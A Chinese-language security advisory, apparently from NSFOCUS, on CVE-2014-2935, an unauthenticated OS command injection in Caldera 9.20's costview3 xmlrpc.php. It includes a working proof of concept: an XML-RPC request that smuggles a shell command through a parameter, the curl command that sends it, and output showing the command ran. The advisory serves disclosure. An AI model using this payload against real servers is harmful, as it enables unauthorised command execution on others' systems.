安全研究

安全漏洞
Caldera 'xmlrpc.php'远程命令注入漏洞

发布日期:2014-05-07
更新日期:2014-05-09

受影响系统:
Caldera Caldera 9.20
描述:
BUGTRAQ  ID: 67252
CVE(CAN) ID: CVE-2014-2935

Caldera是RIP软件、色彩管理软件、工作流软件。

Caldera 9.20及更早版本没有正确删除OS命令内使用的某些元素, '/costview3/xmlrpc_server/xmlrpc.php' 脚本存在命令执行漏洞,未经身份验证的远程用户提交特制的PHP XMLRPC请求即可触发此漏洞,导致执行OS命令。

<*来源:Thomas Fischer
        Markus Wulftange
  
  链接:http://www.kb.cert.org/vuls/id/693092
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Example:
$ cat get_cutter_tools.xml
<?phpxml version="1.0"?>
<methodCall>
<methodName>xmlrpc.get_cutter_tools_xmlrpc</methodName>
<params>
<param><value><string>cutter_name</string></value></param>
<param><value><string>; echo
"&lt;CalderaInfo>&lt;methods>&lt;item>&lt;type>`id`&lt;/type>&lt;/item>&lt;/methods>&lt;/CalderaInfo
>"</string></value></param>
</params>
</methodCall>
$ curl --data @get_cutter_tools.xml http://<host>/costview3/xmlrpc_server/xmlrpc.php
<?phpxml version="1.0"?>
<methodResponse>
<params>
<param>
<value><struct>
<member><name>get_cutter_tools_xmlrpc</name>
<value><array>
<data>
<value><string>uid=1002(caldera) gid=1001(caldera)
groups=1001(caldera),4(adm),7(lp),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),46(plugdev),103
(fuse),104(scanner),109(netdev)</string></value>
</data>
</array></value>
</member>
</struct></value>
</param>
</params>
</methodResponse>

建议:
厂商补丁:

Caldera
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.caldera.com/support/

http://www.caldera.com/product/version-9-20/
http://www.caldera.com/product/options/costview/

浏览次数:3669
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障